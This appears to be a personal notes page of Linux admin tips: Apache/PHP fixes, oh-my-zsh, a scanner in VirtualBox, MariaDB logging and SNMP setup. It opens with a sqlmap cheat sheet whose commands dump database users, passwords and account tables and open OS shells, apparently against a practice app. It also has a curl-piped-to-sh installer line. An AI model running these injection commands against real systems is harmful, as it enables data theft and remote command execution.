sqlmap cheat sheet

Example Commands

$ sqlmap --purge-output

$ sqlmap -r sqlmap_request.txt 
	[[add post request in file]]
$ sqlmap -r sqlmap_request.txt --dbs
$ sqlmap -r sqlmap_request.txt --sql-shell
$ sqlmap -r sqlmap_request.txt --os-shell
$ sqlmap -r sqlmap_request.txt --users --passwords --privileges --roles --threads=10 # get database user and password

$ sqlmap -u "" --data="username=hello&password=world&login-php-submit-button=Login"
$ sqlmap -u "" --data="username=hello&password=world&login-php-submit-button=Login" --dbs
$ sqlmap -u "" --data="username=hello&password=world&login-php-submit-button=Login" --tables -D nowasp
$ sqlmap -u "" --data="username=hello&password=world&login-php-submit-button=Login" --columns -D nowasp -T accounts
$ sqlmap -u "" --data="username=hello&password=world&login-php-submit-button=Login" --dump -D nowasp -T accounts

Upgrading and Downgrading PHP 5.6 and 7.0

Followed the instructions

Possible Errors

If you need to install a new fresh apache2

If you come across an error similar to below when running
$ systemctl status apache2.service

 *** Restarting web server apache2                                                                                                                                          [fail]
 * The apache2 configtest failed.
Output of config test was:
apache2: Syntax error on line 140 of /etc/apache2/apache2.conf: Syntax error on line 1 of /etc/apache2/mods-enabled/php7.load: Cannot load /usr/lib/apache2/modules/libphp7.so into server: /usr/lib/apache2/modules/libphp7.so: cannot open shared object file: No such file or directory
Action 'configtest' failed.
The Apache error log may have more information.**

$ sudo apt-get install libapache2-mod-php7.0

If error “AH00534: httpd: Configuration error: More than one MPM loaded”

Disable all apache2/mods-enabled/mpm* except for mpm_prefork


Setup oh-my-zsh


# https://gist.github.com/renshuki/3cf3de6e7f00fa7e744a
$ sudo apt-get install zsh
$ cd
$ sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"


$ sudo sh ~/.oh-my-zsh/tools/uninstall.sh; chsh -s /bin/bash


Using Fujitsu scansnap ix500 in ubuntu 16.04

One way to use Fujitsu scansnap ix500 scanner in ubuntu 16.04 is thru virtualbox using windows 7.

Virtualbox needs to detect the usb.
Unable to view/connect usb devices to a virtualbox guest from ubuntu host
Add your user to the vboxuser group.
$ sudo usermod -a -G vboxusers $USER

Plug scanner usb into a usb 2 and NOT usb 3 port or you will get an error “failed to create a proxy device for the USB device. (Error: VERR_PDM_NO_USB_PORTS)” because virtualbox may not support usb 3.

Enable usb 2 controller

Inside virtualbox
downloaded the installer

Run installer

Enable ix500 usb

and finish the installer

Mysql enable error logging

Was attempting to get the mysql error_log to work. The issue was that skip_log_error was being passed as mysqld param.

Using mariadb

# Is error_log set
$ cat /etc/mysql/mariadb.conf.d/50-server.cnf | grep log_error

log_error = /var/log/mysql/error.log

# Is skip_log_error removed or commented out
$ cat /etc/mysql/mariadb.conf.d/50-mysqld_safe.cnf | grep skip_log_error


# You may already have mysqld running with skip-log-error param which will prevent error_log from working
$ ps aux | grep skip-log-error

mysql    29703  0.0  1.4 662768 168708 ?       Sl   May01   0:36 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306


# stop mysqld by killing process
$ kill 29703

# restart mysql
$ sudo /etc/init.d/mysql restart

# view log variables to determine if working
$ mysql -uUsername -pPassword -se "SHOW VARIABLES" | grep -e log_error -e general_log -e slow_query_log
mysql some log variables

Mysql Error: too many open files

# error: ERROR 1018 (HY000): Can’t read dir of ‘.’ (errno: 24)

# Super user
$ sudo su

# See what mysql files are open
$ lsof -u mysql

# Count how many mysql files are open
$ lsof -u mysql | wc -l

# close mysql files
$ kill -9 `lsof -t -u mysql`

# sources

SNMP Getting Started

# install
sudo apt-get install snmp snmpd snmp-mibs-downloader

# configuration
# server
$ sudo nano /etc/snmp/snmpd.conf

rocommunity VegetaRocks
syslocation Vegeta planet 
sysContact Vegeta <vegeta@dbz.com>;

# restart snmpd
$ sudo /etc/init.d/snmpd restart

# Test. On client
$ snmpwalk -v1 -c VegetaRocks
$ snmpget -v1 -c VegetaRocks

# example of traffic in wireshark
snmp traffic wireshar

# list of SNMP OID

# sources